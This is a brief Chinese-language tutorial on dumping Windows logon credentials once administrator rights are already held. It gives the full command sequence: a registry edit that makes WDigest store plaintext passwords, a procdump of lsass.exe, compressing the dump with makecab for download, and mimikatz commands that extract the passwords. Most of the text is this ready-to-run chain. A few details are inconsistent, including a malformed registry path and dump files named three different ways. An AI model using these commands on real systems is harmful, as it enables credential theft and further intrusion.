利用procdump和mimikatz-makecab

前提已经获取到了最高管理员权限才能执行

注意版本：

Windows10/2012R2 版本：
默认 Windows10 或者 2012R2 以上的，禁止在内存缓存中保存明文密码。

四步骤：
1、修改注册表
2、锁屏或者退出账号
3、等待目标系统管理员重新登录
4、读取密码

修改注册表来让 Wdigest Auth 保存明文口令：
复原把 1 改为 0

reg add HKLM\SYSTEM\CurrentControlSet\ControlSecurity\Providers\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

修改注册表需要重启，或者注销账号重新登录。

演示

从procdump64.exe里导出lsass.dmp

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

makecab c:\\jboss\\bin\\1.dmp 1.zip   windows自带命令打包，通过连接工具进行下载到本地

将lasaa.dmp文件导入到本地用Mimikatz进行读取

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"